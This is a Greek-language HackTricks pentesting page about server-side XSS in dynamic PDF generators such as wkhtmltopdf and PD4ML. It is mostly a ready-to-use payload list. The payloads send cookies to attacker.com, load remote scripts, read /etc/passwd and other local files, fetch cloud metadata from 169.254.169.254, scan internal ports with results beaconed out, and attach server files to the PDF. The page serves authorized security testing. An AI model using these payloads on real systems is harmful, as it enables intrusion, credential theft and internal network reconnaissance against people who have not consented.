Server Side XSS (Dynamic PDF)

Support HackTricks

Server Side XSS (Dynamic PDF)

Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να παγιδεύσετε το bot που δημιουργεί το PDF ώστε να εκτελέσει αυθαίρετο κώδικα JS. Έτσι, αν το bot δημιουργίας PDF βρει κάποιο είδος HTML tags, θα τα ερμηνεύσει, και μπορείτε να καταχραστείτε αυτή τη συμπεριφορά για να προκαλέσετε ένα Server XSS.

Παρακαλώ, σημειώστε ότι οι ετικέτες <script></script> δεν λειτουργούν πάντα, οπότε θα χρειαστείτε μια διαφορετική μέθοδο για να εκτελέσετε JS (για παράδειγμα, καταχρώντας το <img ). Επίσης, σημειώστε ότι σε μια κανονική εκμετάλλευση θα είστε σε θέση να δείτε/κατεβάσετε το δημιουργημένο pdf, οπότε θα μπορείτε να δείτε τα πάντα που γράφετε μέσω JS (χρησιμοποιώντας document.write() για παράδειγμα). Αλλά, αν δεν μπορείτε να δείτε το δημιουργημένο PDF, πιθανότατα θα χρειαστεί να εξάγετε τις πληροφορίες κάνοντας web request σε εσάς (Blind).

Δημοφιλή εργαλεία δημιουργίας PDF

  • wkhtmltopdf είναι γνωστό για την ικανότητά του να μετατρέπει HTML και CSS σε έγγραφα PDF, χρησιμοποιώντας τη μηχανή απόδοσης WebKit. Αυτό το εργαλείο είναι διαθέσιμο ως ανοιχτού κώδικα εργαλείο γραμμής εντολών, καθιστώντας το προσβάσιμο για μια ευρεία γκάμα εφαρμογών.

  • TCPDF προσφέρει μια ισχυρή λύση εντός του οικοσυστήματος PHP για τη δημιουργία PDF. Είναι ικανό να χειρίζεται εικόνες, γραφικά και κρυπτογράφηση, επιδεικνύοντας την ευελιξία του για τη δημιουργία σύνθετων εγγράφων.

  • Για όσους εργάζονται σε περιβάλλον Node.js, το PDFKit παρουσιάζει μια βιώσιμη επιλογή. Επιτρέπει τη δημιουργία εγγράφων PDF απευθείας από HTML και CSS, παρέχοντας μια γέφυρα μεταξύ του διαδικτυακού περιεχομένου και των εκτυπώσιμων μορφών.

  • Οι προγραμματιστές Java μπορεί να προτιμούν το iText, μια βιβλιοθήκη που διευκολύνει όχι μόνο τη δημιουργία PDF αλλά υποστηρίζει επίσης προηγμένα χαρακτηριστικά όπως ψηφιακές υπογραφές και συμπλήρωση φορμών. Το εκτενές σύνολο χαρακτηριστικών του το καθιστά κατάλληλο για τη δημιουργία ασφαλών και διαδραστικών εγγράφων.

  • FPDF είναι μια άλλη βιβλιοθήκη PHP, διακριτή για την απλότητα και την ευχρηστία της. Είναι σχεδιασμένη για προγραμματιστές που αναζητούν μια απλή προσέγγιση στη δημιουργία PDF, χωρίς την ανάγκη εκτενών χαρακτηριστικών.

Payloads

Discovery

<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">

SVG

Οποιοδήποτε από τα προηγούμενα ή τα ακόλουθα payloads μπορεί να χρησιμοποιηθεί μέσα σε αυτό το SVG payload. Ένα iframe που έχει πρόσβαση στο υποτομέα Burpcollab και ένα άλλο που έχει πρόσβαση στο endpoint μεταδεδομένων παρατίθενται ως παραδείγματα.

<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>

Μπορείτε να βρείτε πολλά άλλα SVG payloads στο https://github.com/allanlw/svg-cheatsheet

Αποκάλυψη διαδρομής

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Φόρτωση εξωτερικού script

Ο καλύτερος συμβατός τρόπος για να εκμεταλλευτείτε αυτήν την ευπάθεια είναι να την κακοποιήσετε ώστε να κάνετε το bot να φορτώσει ένα script που ελέγχετε τοπικά. Στη συνέχεια, θα μπορείτε να αλλάξετε το payload τοπικά και να κάνετε το bot να το φορτώνει με τον ίδιο κώδικα κάθε φορά.

<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Ανάγνωση τοπικού αρχείου / SSRF

Αλλάξτε το file:///etc/passwd σε http://169.254.169.254/latest/user-data για παράδειγμα για να δοκιμάσετε να αποκτήσετε πρόσβαση σε μια εξωτερική ιστοσελίδα (SSRF).

Εάν επιτρέπεται το SSRF, αλλά δεν μπορείτε να φτάσετε σε έναν ενδιαφέροντα τομέα ή IP, ελέγξτε αυτή τη σελίδα για πιθανά bypasses.

<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Καθυστέρηση Bot

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">

Σάρωση Θυρών

<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">

Αυτή η ευπάθεια μπορεί να μετατραπεί πολύ εύκολα σε SSRF (καθώς μπορείτε να κάνετε το σενάριο να φορτώσει εξωτερικούς πόρους). Έτσι, απλώς προσπαθήστε να την εκμεταλλευτείτε (διαβάστε κάποια μεταδεδομένα;).

Attachments: PD4ML

Υπάρχουν μερικές μηχανές HTML 2 PDF που επιτρέπουν να καθορίσετε συνημμένα για το PDF, όπως το PD4ML. Μπορείτε να εκμεταλλευτείτε αυτή τη δυνατότητα για να συνημμένο οποιοδήποτε τοπικό αρχείο στο PDF. Για να ανοίξω το συνημμένο, άνοιξα το αρχείο με Firefox και διπλό κλικ στο σύμβολο του συνημμένου για να αποθηκεύσω το συνημμένο ως νέο αρχείο. Η καταγραφή της απάντησης PDF με το burp θα πρέπει επίσης να δείξει το συνημμένο σε καθαρό κείμενο μέσα στο PDF.

<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>

Αναφορές

Υποστήριξη HackTricks

Last updated